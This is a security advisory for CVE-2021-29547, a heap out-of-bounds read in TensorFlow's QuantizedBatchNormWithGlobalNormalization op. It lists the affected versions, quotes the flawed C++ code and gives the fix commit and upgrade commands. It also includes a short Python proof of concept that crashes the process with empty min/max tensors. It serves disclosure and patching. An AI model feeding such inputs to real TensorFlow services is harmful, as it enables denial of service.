Heap out of bounds in QuantizedBatchNormWithGlobalNormalization
Summary
CVE-2021-29547: Heap out of bounds in QuantizedBatchNormWithGlobalNormalization. Affects tensorflow across 4 version ranges.
< 2.1.4
>= 2.2.0, < 2.2.3
>= 2.3.0, < 2.3.3
>= 2.4.0, < 2.4.2
Fixed in 4 releases; the minimum fixed version depends on the release line you run. How to fix ↓
Also tracked for
- tensorflow · Bitnami
- tensorflow-cpu · PyPI
- tensorflow-gpu · PyPI
The same CVE-2021-29547 is tracked separately for each ecosystem and vendor. Its fix information is the same; the package and affected versions differ.
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Impact
An attacker can cause a segfault and denial of service via accessing data outside of bounds in tf.raw_ops.QuantizedBatchNormWithGlobalNormalization:
import tensorflow as tf
t = tf.constant([1], shape=[1, 1, 1, 1], dtype=tf.quint8)
t_min = tf.constant([], shape=[0], dtype=tf.float32)
t_max = tf.constant([], shape=[0], dtype=tf.float32)
m = tf.constant([1], shape=[1], dtype=tf.quint8)
m_min = tf.constant([], shape=[0], dtype=tf.float32)
m_max = tf.constant([], shape=[0], dtype=tf.float32)
v = tf.constant([1], shape=[1], dtype=tf.quint8)
v_min = tf.constant([], shape=[0], dtype=tf.float32)
v_max = tf.constant([], shape=[0], dtype=tf.float32)
beta = tf.constant([1], shape=[1], dtype=tf.quint8)
beta_min = tf.constant([], shape=[0], dtype=tf.float32)
beta_max = tf.constant([], shape=[0], dtype=tf.float32)
gamma = tf.constant([1], shape=[1], dtype=tf.quint8)
gamma_min = tf.constant([], shape=[0], dtype=tf.float32)
gamma_max = tf.constant([], shape=[0], dtype=tf.float32)
tf.raw_ops.QuantizedBatchNormWithGlobalNormalization(
t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,
v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,
beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,
gamma_max=gamma_max, out_type=tf.qint32,
variance_epsilon=0.1, scale_after_normalization=True)
This is because the implementation assumes the inputs are not empty:
const float input_min = context->input(1).flat<float>()(0);
const float input_max = context->input(2).flat<float>()(0);
...
const float mean_min = context->input(4).flat<float>()(0);
const float mean_max = context->input(5).flat<float>()(0);
...
const float var_min = context->input(7).flat<float>()(0);
const float var_max = context->input(8).flat<float>()(0);
...
const float beta_min = context->input(10).flat<float>()(0);
const float beta_max = context->input(11).flat<float>()(0);
...
const float gamma_min = context->input(13).flat<float>()(0);
const float gamma_max = context->input(14).flat<float>()(0);
If any of these inputs is empty, .flat<T>() is an empty buffer, so accessing the element at index 0 is accessing data outside of bounds.
Patches
We have patched the issue in GitHub commit d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
How To Fix
Latest published version: 2.21.0 as of 22 Oct 2026
pip install --upgrade "tensorflow==2.21.0"
Upgrading to it may include breaking changes; the versions below are the minimum fixed release for this vulnerability.
If you can't move to the latest
The minimum fixed version depends on the release line you run.
-
< 2.1.42.1.4pip install --upgrade "tensorflow==2.1.4" -
>= 2.2.0, < 2.2.32.2.3pip install --upgrade "tensorflow==2.2.3" -
>= 2.3.0, < 2.3.32.3.3pip install --upgrade "tensorflow==2.3.3" -
>= 2.4.0, < 2.4.22.4.2pip install --upgrade "tensorflow==2.4.2"
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References
Related vulnerabilities
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